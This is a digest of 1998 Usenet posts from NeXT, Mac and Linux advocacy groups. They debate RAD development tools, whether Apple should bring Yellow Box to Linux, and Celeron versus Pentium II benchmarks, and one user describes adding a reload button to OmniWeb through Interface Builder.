Almost every native application developed for NeXTStep/OpenStep uses the RAD
tool Interface Builder. Some of these applications are hundreds of thousands
of lines of code. I'm sure a few are in the millions. Do you consider these
applications trivial? Could you write them in a day? Did the process "break
down" on these applications? And, just for clarification, what RAD tools have
you used in the past?
> I "real" development tool provides human readable relationship between
> written code and compiled code. Interpreters do not count because the
> engine may change below you.
This is not necessarily true. The code for the interpreter could be linked
into the application if the interpreter was so designed.
> Again, if you can't double check you tools, they are not "real" tools.
> They are trivial inteface builders, you can't base an important
> application on them.
Then using OpenStep should make you happy because the compiler is
open-source. Do you test every computer that your software is run on? Every
component of the operating system that it runs on? And remember, the
implementation of an API function could change below you.
> I guess any compiled language will do, as long as ALL the source to the
> run time libraries are available, and the intermediate code (c, asm,
> etc) can be compiled/assembled to produce the same object module.
See above.
> > And intelligence requires more than making broad generalizations.
>
> Well, there you go. You have to insult me directly.
I stated a fact. If you choose to interpret it as an insult then I can't help
that (though I do think it odd since you seem to hate interpreters).
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 07:50:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ilnf$84b$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com>
In article <366C2F0D.7D2F461E@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> wrote:
> VB is fine as long as what you want to do is simple. The minute
> marketing says "can it do ...." You will be forced down a road that VB
> was not meant to travel. You will find paradigms that would have been a
> piece of cake in C/C++ a headache and a half in VB because there are no
> provisions for it. Try hiding the cursor in a VB window under NT with
> ShowCursor(FALSE); Good luck!
I love this. You claim that RAD is a poor programming model for non-trivial
applications. You concede that VB is not the only RAD environment in the
universe. You attack VB in a way that obviously applies specifically to VB and
not to RAD in general. Why don't you demonstrate how all RAD environments must
be suited only to trivial applications? That would be more entertaining than
you ranting about VB and assuming that your arguments apply to all RAD
environments.
> No one needs to validate to the assembly level every line of code. But
> there are times when you have to because the tool is not producing the
> right code. RAD tools are not perfect, trusting them absolutely is a
> stupid idea.
Not all RAD environments are black boxes.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 07:53:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ilth$865$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366ca8fe.14609268@news.inetnebr.com>
In article <366ca8fe.14609268@news.inetnebr.com>,
galactic1@geocities.com (Evert Claesson) wrote:
> How About Delphi?
I think that it's pretty good. I think that you'd still be impressed by the
OpenStep development environement though.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: altenber@maui.net (Lee Altenberg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: I love it!
Date: 8 Dec 1998 09:06:58 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <74iq7i$c30$1@remarQ.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I was so delighted with the following hack that I had to post something.
OmniWeb3 beta 8 on NeXT Color Turbo hardware has proven so slow on things
like just scrolling or clicking between windows that I went back to using
OmniWeb 2.7 . However, I really liked the "Reload" button on the OW3
browsers, which is not on OW 2.7.
So, could I add a "reload" button to OW2.7 using InterfaceBuilder?
I went into the app wrapper and found WebBrowser.nib. I duplicated the
"Print" browser button by copying and pasting. I looked for a "reload:"
method in the Inspector, but it wasn't there. It was, however, in the main
menu object of OmniWeb.nib. So I added the method "reload:" to the actions
of WebBrowser.nib, and connecting the button to it (not knowing what First
Responder would do with the method).
The icon on the button was still the printer icon, so I found the "Undo.tiff"
icon from OW3b8 and dragged it into the "Images" section of OW2.7's
WebBrowser.nib, and then dragged the icon to the top of the new button, where
the image now appeared. I saved the changes, launched OW2.7, and ...IT JUST
WORKED! Evidently, First Responder got the message to the right place.
That's good programming style, Omni.
What more can I say. Apple, please bring out OS X and please take over the
world with it.
-- Lee Altenberg
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec7134914@slave.doubleu.com>
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com>
<SCOTT.98Dec5033208@slave.doubleu.com> <74e89u$f8r@news1.panix.com>
In-reply-to: sal@panix.com's message of 6 Dec 1998 15:36:30 GMT
Date: 7 Dec 98 13:49:14
NNTP-Posting-Date: Tue, 08 Dec 1998 01:59:47 PDT
In article <74e89u$f8r@news1.panix.com>,
sal@panix.com (Sal Denaro) writes:
On 5 Dec 98 03:32:08, Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <19981204194733.01052.00000101@ng-bw1.aol.com>,
> willadams@aol.com (WillAdams) writes:
> Well, my vote would be for a high-end PC clone running OPENSTEP.
>
>Or just a moderate-end PC clone:
>
> $130 Celeron 333A (the one with 128K cache!)
WOW! $130! How does it compare to a real PII 333?
I purchased it expressly because I wondered this exact question. I
figured that at worst it would cost me like $30 if it turned out to be
doggy on compiles and I had to purchase a real P-II 333 and resell the
Celeron 333A.
Though I've not felt the need to get a real P-II 333, if the real P-II
333 is faster for what I use it for (program development), I would be
_really_ impressed. But, from everything I've tested, and from what
I've read from other people's testing experiences, it's sort of hard
to tell the difference between Celeron 333A and P-II 333 using only
single-user type benchmarks. They're basically neck-in-neck.
After all, they're both using the same Deschutes core. The Celeron
333A adds 128k on-die L2 cache at full speed, while the P-II 333 uses
512k of on-card L2 cache at half speed. For single-user use, those
seem to cancel each other out. [For heavy multitasking, the
slower/bigger L2 might outweight the faster/smaller L2. An even
bigger difference for SMP, thought I'd question anyone using Celeron's
for SMP on anything other than a personal system. It really comes
down to the PPro200/256k vs PPro200/512k question, and the answers are
pretty much the same, with the speed difference as a twist.]
Avoid the Celeron without cache like it's carrying the plague! It
might have marginal utility if you only intend to play Windows/DOS
games like Quake on it (games can often gain more from the better FP
performance than they lose on the cache misses). With the cacheful
Celerons at $130, price isn't much of a consideration any longer.
[Here are my numbers, for a PPro233 with 128M EDO, A K6 at 250Mhz with
64M EDO, a Celeron 333A with 64M PC100, and a Celeron 333A overclocked
to 416Mhz with the same 64M PC100. Same peripherals all around.
NXFactor (Millenium-II w/4M, running an older driver that allowed
444/16, with the OmniFast driver for the PPro and P-II systems,
running on NS3.3):
Machine NXFactor2.2 Line Arc Fill Trns Comp User Text Win
PPro-233 7.1132 6.62 6.35 4.94 12.69 5.79 12.10 4.40 4.02
K6-250 5.6377 4.44 4.30 3.67 12.69 3.42 10.75 3.65 2.19
PCel-333 8.8280 7.47 7.19 6.10 17.51 6.20 15.99 5.51 4.65
PCel-416 11.0589 9.23 8.83 7.54 22.54 7.76 20.05 6.83 5.70
Linux kernel compile (same config and Linux install each time):
PPro-233 4:42.05
K6-250 4:35.22
PCel-333 3:23.22
PCel-416 2:42.70
NS3.3 Backspace compile, with -pipe:
PPro-233 0:26.06
K6-250 0:26.19
PCel-333 0:22.25
PCel-416 0:20.22
distributed.net rc5des -benchmark:
rc5 des
PPro-233 651907.69 417974.18
K6-250 407759.13 818224.41
PCel-333 926593.67 932366.30
PCel-416 1068404.94 1075312.28
As always, these are just benchmarks. Don't trust them. I might be a
shill who's trying to deep-six Intel by causing everyone to purchase
$130 Celeron's over $250 P-II's...]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec7132958@slave.doubleu.com>
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com>
<SCOTT.98Dec5033208@slave.doubleu.com> <366B261B.2F4D@worldnet.att.net>
In-reply-to: zizi zhao's message of 7 Dec 1998 00:48:53 GMT
Date: 7 Dec 98 13:29:58
NNTP-Posting-Date: Tue, 08 Dec 1998 01:59:46 PDT
In article <366B261B.2F4D@worldnet.att.net>,
zizi zhao <ziziz@worldnet.att.net> writes:
Will this system work with both NS/I 3.3 and 4.2, or 4.2 only?
I'm dual-booting NS3.3 and OS4.2 on it. I must admit, though, that
I've only spent about 20% of my time under NS3.3 versus OS4.2. Every
since I got a PentiumPro200 with 128M, I've found that OS4.2 has
become acceptable, in that the advantages outweight the performance
cost - who cares whether something takes .2 seconds or .1 seconds?
[Back when I was using a Pentium133, it was the other way around - who
cares if something is wonderful, if it takes twice as long to get
there?]
I found black cases at local Fry's, but cannot find black mouse and
keyboard. Although there are some black wireless keyboards, they
need special drivers.
Eh, you can get anything in black, but I don't much care, these days.
My computers all sit under a desk _anyhow_ :-). I know that there
once was a black version of the Microsoft Ergo keyboard. Mice might
be tougher, since they're such a high-volume device.
If you really want black, though, you'll probably be better off to go
with a complete system from a vendor who sells black systems. Like
IBM, or Sony. Otherwise, you'll probably be restricted to second-tier
components all around.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 7 Dec 98 13:54:53
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec7135453@slave.doubleu.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74dae1$98q$1@camel21.mindspring.com>
<74daj3$va6$1@camel21.mindspring.com>
<74dbnb$2gq$1@camel21.mindspring.com> <366A39E5.D9F03DBA@nstar.net>
<slrn76m8dn.h4.davecook@sputnik.escnd1.sdca.home.com>
In-reply-to: davecook@home.com's message of Mon, 07 Dec 1998 00:29:13 GMT
In article <slrn76m8dn.h4.davecook@sputnik.escnd1.sdca.home.com>,
davecook@home.com (David M. Cook) writes:
On Sun, 06 Dec 1998 02:01:41 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>The previous poster mentioned "tcl-perl-python/tk". Forget TCL
>right off the bat; it's an extremely weak language, originally
>intended for very very small programs (<500 lines).
I don't like Tcl, but people do manage to do amazing things with
it. I would not discourage anyone from trying it. And I like Tk a
lot.
I've been using Tcl in various ways since Tcl3.3. Every time I use it
in a "real" situation (aka, something I'm getting paid for), I always
question myself. To my mind, it's barely a language!
On the other hand, I'm simply unwilling to sacrifice the ability to
solve the problem in a couple hours so that I can solve it "better" in
a couple days. Just as there are classes of problems where you'd be
stupid to use Tcl - there are other classes of problems that you can
solve in Tcl in 1/10 the time that it might take in C++.
There have been times when I've even used Tcl over Perl, just because
I could see how to do it in Tcl without consulting the manual...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 23:58:17 GMT
Organization: Airnews.net! at Internet America
Message-ID: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Mon Dec 7 17:48:14 1998
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On Fri, 04 Dec 1998 09:41:30 -0800, ngroups@fizbin.com (Harry) wrote:
>In article
><0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>,
>a1050pi@yahoo.com wrote:
>
>> I guess what I want is Linux to have a newbie friendly GUI so M$ can
>> drop dead next year. 8-)
>
>Rumor has it that Apple will be releasing the Mac OSX APIs/GUI after the
>release of Mac OS X server under the GPL (or something similar).
>
>That would DEFINITELY be welcome by many, and it WOULD porvide Linux with
>a consistent interface.
I really hope Apple doe that, because whichever company takes the
long-term approach rather than the short-term approach will be
well-rewarded.
If Apple were to make YB (or OpenStep or the OSX upper level stuff)
open source and provide it to the Linux community, that would make
Apple's future viable again. Otherwise, they're goose is cooked.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: davecook@home.com (David M. Cook)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org> <366B0E2C.DDEF264F@nstar.net> <slrn76m8ja.h4.davecook@sputnik.escnd1.sdca.home.com> <366C052A.B0F221D8@nstar.net>
Organization: http://www.kernel-panic.com/links/devel.html
Message-ID: <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com>
Date: Mon, 07 Dec 1998 23:52:24 GMT
NNTP-Posting-Date: Mon, 07 Dec 1998 15:52:24 PDT
On Mon, 07 Dec 1998 10:41:14 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>[hands over ears, shouting] I can't hear you! I can't hear you!
You've given us nothing to chew on yet.
Dave Cook
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com>
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Date: 8 Dec 98 11:33:23 GMT
On Mon, 7 Dec 1998 00:05:02, scott@nospam.doubleu.com (Scott Hess)
thought aloud:
> a1050pi@yahoo.com (Sheldon Gartner) wrote:
> It is so painfully obvious for Apple to switch to Linux that it's
> growing ever _more_ obvious that they're going to blow it and
> simply go out of business. They could contribute Yellow Box to
> Linux, or make OpenStep totally open source (that would certainly
> give GNUStep a shot in the arm, huh 8-) ) Or get really crazy and
> open source everything but the kernel of OSX.
>
> That _would_ be really crazy, since everything below the Unix layer is
> based on OpenSource software in the first place, and everything above
> is where the real money is.
>
> Don't get me wrong - I think that OpenSource is very worthwhile, and
> am happy to participate to my abilities in the movement. But there's
> a difference between participating in OpenSource on the boundaries of
> a company and participating at the _core_. It's unclear whether the
> OpenSource model will carry a company the size of Apple. I think that
> it's really cool that companies like RedHat and Cygnus seem to be
> making a good go of things in the OpenSource arena. But Apple is,
> what, 1000 times the size of RedHat? 5000? Apple probably has a
> bigger yearly payroll than the yearly income of all the people who
> contribute to any of the Linux distributions.
The way I see it is Linux could easily be the Great Equalizer that
helps make Apple's hardware more attractive to the mainstream buyer as
Linux becomes more end-user-friendly (something where Apple could
really make a difference with YB, btw). Lots of folks avoid Apple
because of the infamous lack of apps or because they're afraid Apple
could obsolete their proprietary hardware at a whim. But what if
PowerMacintosh became the ideal platform to run Linux? There's money
in software upgrades, YB add-ons and apps, support, PowerMac sales...
Mindshare and regained relevance to the computing public also have
their value.
That said, I wouldn't recommend Apple to release YB under GPL, i.e.
totally open. A licence is needed that allows the hordes of
self-respecting coders to improve and fix YB where needed and build
and deploy YB apps even for free under fair licencing system.
Commercial use of YB could be liable to licence fee to Apple, and
Apple should maintain control of compatibility issues if just to avoid
platform-jacking by a commercial competitor.
> "Walk you must, before run you do." Let's just get Apple _dabbling_
> in OpenSource, for now. OpenSource the Mach/Unix layer. Why not?
> It's already mostly OpenSource anyhow. Or put YellowBox, aka The
> Family Jewels, on an already OpenSource OS. If that works, widen the
> net.
Question: If it was 1989, DOS was under GPL and needed a decent GUI to
make it a de-facto desktop standard, would you advice Apple to jump on
the chance instead staying on their own proprietary hardware
exclusively? (imagine you owned APPL stock to help you consider the
far-reaching implications more personally)
Now, that ain't happening in 1999 but what's the next-best thing to
ride on now if not Linux? And to get support from the Linux crowd one
must make some concessions in form of source code access. Here's where
the (imaginary) wording in Apple Public Licence comes to play.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-IqeOhQ3RfytK@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com>
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Date: 8 Dec 98 11:33:11 GMT
On Mon, 7 Dec 1998 15:50:08, sal@panix.com (Sal Denaro) thought aloud:
> On Tue, 24 Nov 1998 21:03:02 -0800, Todd Heberlein (todd at NetSQ dot com)
> <todd@dev.null> wrote:
> >>The moment that Apple announced Carbon, YB developers got the
> ^^^^^^^^^^^^^^^^^^^^^
> >> shaft. Apple users were given a big reason to postpone moving to OSX.
> ^^^^^^^
> >I disagree.
>
> On second reading, I think the choice of words was rather harsh and the
> tone regrettable. I humbly rescind them.
>
> A better phrase would have "YB developers were thrown a curve, and now
> find themselves with a competing toolkit"
I don't think the existence of Carbon as a competiting toolkit is in
itself a problem. If it allows - and encourages - the existing Classic
Mac developers to move to Mac OS X compatibility it'll help smoothen
the migration. The problems, as I see them, are: 1) the near-term
Carbon implementation is still not even near of reaching end-users and
YB is being kept on back-burner until Carbon has proven itself (it's a
long wait). 2) YB compatibility is only promised for G3 or later Apple
PowerMacs anyway. 3) Even developers feel Apple is ignoring YB
promotion to their rather exclusive community.
> > I believe Carbon may have helped YB developers by making
> >MacOS X mainstream, helping Apple as a company, and giving YB developers
> >a greater customer base to sell into.
>
> Yes, but now those developers find themselves fighting for space with
> Apps that Apple users a) already know b) already own and c) are sold
> and marketed by large companies with a lot of pull in the publishing
> and content creation markets.
That's normal competition and inertia which the YB vendors would need
to tackle in any case, with better products or lower prices or better
marketing or... Carbon is simply a better Blue Box. YB for Windows
helps a little in making available a larger potential market, but IMHO
YB for Linux (a non-proprietary, level playing field without existing
dominant marketshare holders and with users thirsty for cool new apps)
would give the YB folks a better chance to grow up and garner
marketshare right where it is evolving.
> >I believe YB developers got the shaft when (1) Apple continually delayed
> >shipping Rhapsody (now MacOS X Server), and (2) did not make any
> >commercial OpenStep system commercially available (especially
> >inexpensively).
>
> Before you attribute a) to malice on the part of Apple, head over to
> Stepwise (http://www.stepwise.com) and read the latest article on the
> OSX server delay.
Are you referring to the article discussing 3rd party licencing
delays? If it's true and it is not malice on Apple's part, it is
severe incompetence. Announced in Jan '97, Rhapsody (publicly
available YB) has slid from Q1 '98 release to '99 as Apple reshapes
strategies and downplays YB. Instead of Q1 '97 or Summer '97 the YB
developers must now wait until the release of Mac OS X in late '99 to
become adopted by end-users before being able to even try selling to
non-server markets.
> >The rate of new OpenStep customers was anemic before Apple purchased
> >NeXT; after the purchase the numbers essentially dropped to zero - by
> >Apple's choice. That hurts when you are developing software for that
> >market.
>
> Didn't Apple ship over 10k copies of DR2? How many copies of OpenStep4.2
> sold in the year prior to the Apple purchase.
I must wonder how many of those went to the Simply Curious crowd.
> >PS. After the purchase of NeXT, Apple, like Linux, had a BSDish system
> >available for Intel, but Apple also had nice OpenStep/NEXTSTEP
> >applications and a killer development environment. However, over the
> >last two years, Linux has gained all the market share and mindshare and
> >Apple's Intel solution isn't on anyone's radar.
>
> Yes, and it took Linux four years to get to the point where it even
> showed up on anyones radar. I doubt it will take less time for OSX to
> reach that point.
Will there be "social demand" for Mac OS X in a few years time,
outside Apple-owned hardware where it might be the only upgrade
option?
> It is hard to charge money for a raw development system when your name
> isn't Microsoft. While some (perhaps many) Linux users might buy OSX for
> the "kewlness" factor, I don't think that more than 5% or 10% are going
> to jump to being full time OSX users. (maybe the numbers will be higher
> in the LinuxPPC community)
Indeed, much of Linux's attraction comes from the fact that people got
fed up with being dictated what software to use and when to upgrade,
and they needed to get rid of all that crashing as well. Apple, with
draconian control over software _and_ hardware doesn't make Mac OS X -
no matter how great it might become - very appealing to the
newly-freed Linux users. Unless... Apple gets Red Hat et al to support
PowerMacs on equal-to-Intel basis when "may the best hardware win"
equality comes in. IMHO it'd be better for Apple to sell YB solutions
to this crowd (with growing demand in business sector) than simply
ignore Linux and hope that everyone flocks to buy Apple-branded
PowerMacintoshes to run the prorietary Mac OS X operating system.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com>
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Date: 8 Dec 98 11:33:17 GMT
On Tue, 8 Dec 1998 02:20:46, sal@panix.com (Sal Denaro) thought aloud:
[cut to one issue]
> What you are defending is the "there's always room for one more" line of logic
> that has crippled companies before.
>
> Lets say that Apple decided to do a YB for Linux now*. Would it be far removed
> to say, "well, if we are going to do a YB for Linux, shouldn't we also do one
> for Solaris? After all, there's always room for one more"
>
> And if they do one for Solaris, "there's always room for one more" so Apple
> might as well do one for AIX, HP/UX, Sco, BSDI and Digital Unix. And if they
> are doing one for NT, should they do one for WinCE?
>
> Where do you draw the line? When do you set priorities?
I think this one's easy.
Linux has become a strategically important platform which isn't under
any competitor's control - a port would IMO be natural choice.
BSD's - let a port happen if it's easy. Start official support if the
platform picks up momentum.
Other commercial platforms - port if the platform owner picks up the
tab. Wrt. YB for Windows, start charging MS for the port when Windows'
market share has become insignicant. :-)
Of course, there always is the option of releasing YB source code to
the wider audiences accompanied with a well-thought-out Apple Public
Licence and let everyone work it out themselves whether YB would help
their platforms. YB-Java tie-in might help them make up their minds.
Brgds,
--
taiQ
[this space is intentionally blank]
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 11:45:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74j3hi$jrk$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com> <74ilnf$84b$1@nnrp1.dejanews.com>
In article <74ilnf$84b$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca wrote:
> Not all RAD environments are black boxes.
>
True; most up them upgraded to Intel :-)
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 07 Dec 1998 16:47:34 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366C5B06.41F8EA24@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com>
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Sal Denaro wrote:
> Publicly held companies refrain from spending investor money without some
> justification, or at least some possibility of turning that investment into a
> viable, profitable product. (At least all the ones I've dealt with.)
>
> Do you think Oracle just ported its products for the hell of it? Do you think
> that Sun didn't first gauge the market, and then decide to act?
I think that you're overstating everything you say. Familiar as a
filibustering conversational tactic, but whatever.
I also think that I've witnessed many cases wherein the work was done
before the business case was completed:
"I need to make this change to the code."
"Okay, write a business case, then fix the code."
"No, it'll take me 5 seconds. Look..." [pause] "There, it's done."
"Okay, now just get me that business case and we'll be all set."
If you'd like to defend the management stupidity that makes mountains
out of molehills, that's your business. You're doing an excellent job in
this thread.
> > Have the engineer write it
> >himself,
>
> Might be seen as a conflict of interest. I sure as hell wouldn't give dime
> one to support any project unless there was some objective research that
> the market would support the product.
Like I care. You're going to spend more money and resources on the
business case itself than on the port. Your argument is basically "kill
the project by making it larger than it should be, thereby expanding it
beyond its point of feasability". Yes, management works like that. No,
I'm not surprised that Apple works that way. The surprising part is that
I'd find someone on USENET willing to admit to such bunged-up thinking.
> > or hire an MBA intern to do the job.
>
> Maybe, but try and find one that isn't trying to get the word Java on his
> resume.
*sigh*
> Their Linux sales campaigns piggybacked on their main sales campaigns.
Aha! How interesting...you mean duplication of effort *isn't* necessary?
Revolutionary.
> Do you think it is an accident that the RealAudio server is bundled with
> RedHat Linux?
Nope.
> >You don't need a
> >sales campaign to sell Linux software, you post to Freshmeat.net and
>
> Bull.
Well, there you go. Welcome to USENET, where you don't have to argue
persuasively, you just have to wield your opinion like a weapon.
Opinions, arseholes, you know the rest.
> You don't need a campaign to _give away_ software, you do need one to
> _sell_ software.
No, that's wrong. You don't need a campaign for either. You need a
campaign to sell *more* software than you would *without* a campaign.
Important distinction. So don't sell YB for Linux, or do, or whatever.
Why does it matter? Availability is the important issue.
Netscape Navigator was available for Linux from the start. The Linux
version was never supported, never sold, never advertised. It has
millions of users.
That last sentence should catch your eye. It probably won't, because
you're in some kind of "deny and refute at all costs" mode. Fine, I
expect that from the self-appointed anti-MJP Warrior of USENET. Don't
expect to be taken seriously for that, you're not.
> That will inspire confidence in the enterprise market and get people to
> use YB? Here some software we had a guy whip up in his spare time, we aren't
> going to support it; feel free to use it.
Uh, Netscape Navigator for Linux. JDK for Linux. Linux on Ultra
hardware. Linux itself. Please, you make this way too easy, Salvatore.
For once, throw a *thoughtful* argument my way. That would be a treat.
> >Huh? This is a port of YB to Linux. What will they run if not Linux?
>
> Reread that question.
Reread that answer.
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 16:49:41 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366C5B85.197654B0@ericsson.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> In case you don't get this point, can you name, specificly, a medium to large
> project written in VB that was delivered on-time, on-budget, and successfully
